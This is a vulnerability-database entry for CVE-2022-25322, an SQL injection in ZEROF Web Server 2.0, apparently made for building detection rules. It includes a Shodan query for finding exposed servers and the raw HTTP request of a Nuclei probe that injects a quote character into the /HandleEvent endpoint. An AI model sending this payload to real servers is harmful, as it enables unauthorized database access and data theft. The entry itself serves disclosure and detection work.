🔙 목록으로 돌아가기

CVE-2022-25322: ZEROF Web Server 2.0 - SQL Injection

TitleZEROF Web Server 2.0 - SQL Injection
Authordaffainfo
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationApply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 2.0.
CVSS Score9.8
EPSS Score0.52702
CVE IDCVE-2022-25322
CWE IDCWE-89
Shodan QueryServer: ZEROF Web Server
Tags cve cve2022 zerof sqli vkev vuln

🔍 Vulnerability Description

ZEROF Web Server 2.0 allows SQL Injection via the /HandleEvent endpoint. Attackers can exploit this vulnerability by manipulating the request parameters to execute arbitrary SQL queries.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Connection: close
Accept-Encoding: gzip
POST /HandleEvent HTTP/1.1
Host: www.victim.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 119

Ajax=1&IsEvent=1&Obj=O33&Evt=keypress&this=O33&char=%0D&"_fp_=_S_ID=NzPPsm&O33=%020%02%02'&_seq_=2&_uo_=O0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-25322.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-25322.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A